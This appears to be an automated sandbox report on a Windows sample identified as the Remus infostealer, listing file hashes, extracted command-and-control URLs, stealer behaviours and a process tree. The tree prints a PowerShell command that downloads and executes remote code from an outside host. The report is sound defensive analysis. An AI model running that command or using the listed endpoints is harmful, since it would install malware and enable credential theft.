Analysis
- max time kernel
298s - max time network
211s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
23/07/2026, 20:33
Static task
static1
Behavioral task
behavioral1
Sample
bjbh.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
bjbh.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
bjbh.exe
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
bjbh.exe
Resource
win11ltsc2024-20260709-en
General
- Target bjbh.exe
- Size 2.5MB
- Sample260723-zb56savvbx
- SHA256 f0a3765399fac3d6a2da13a67af4dd7d6b9a78ce09c97ec054d13bf36324b4f1
- MD5 ae3ec96312831ed7f34a86210319e18a
- SHA1 c0fd906af5531957003326f5b80fa47c4463578d
- SHA512 163b7bfe856c42c706a10c6c23a18af973d7aebc2cf0808af21cc8f0d0101656a494fea1c013100098eb237f43deb6df2ea1928e8b00878e7473dab6971ef194
- SSDEEP 24576:gZNbeHVdgrM5e6xWe7XZZwuAEsW64twBQfWPLAzB3ZvAoBele5I92GKOqCsJJ2H3:gZNiHbgKe6YedZeLPLAhKtVI4Tf
- TLSH T1C6C54907FCD549EAC09EA23289B682927B75BC492B3223D72E90B7782F727D05C35754
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
remus_stealer
-
http://zelpx.garden:9895
-
http://fimmora.surf:6504
-
http://tzpx.courses:4437
Signatures
- Family: Remus
Remus is a stealer written in C++.
- Detects Remus stealer 1 IoCs
resource yara_rule behavioral2/memory/3652-1-0x0000000140000000-0x0000000140039000-memory.dmp family_remus_stealer - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 19 4456 powershell.exe 26 4456 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 3652 bjbh.exe 4456 powershell.exe 4456 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4456 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 3652 wrote to memory of 4456 3652 bjbh.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\bjbh.exe"C:\Users\Admin\AppData\Local\Temp\bjbh.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass irm https://uagent.vg|iex2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2c5gyke.ptk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH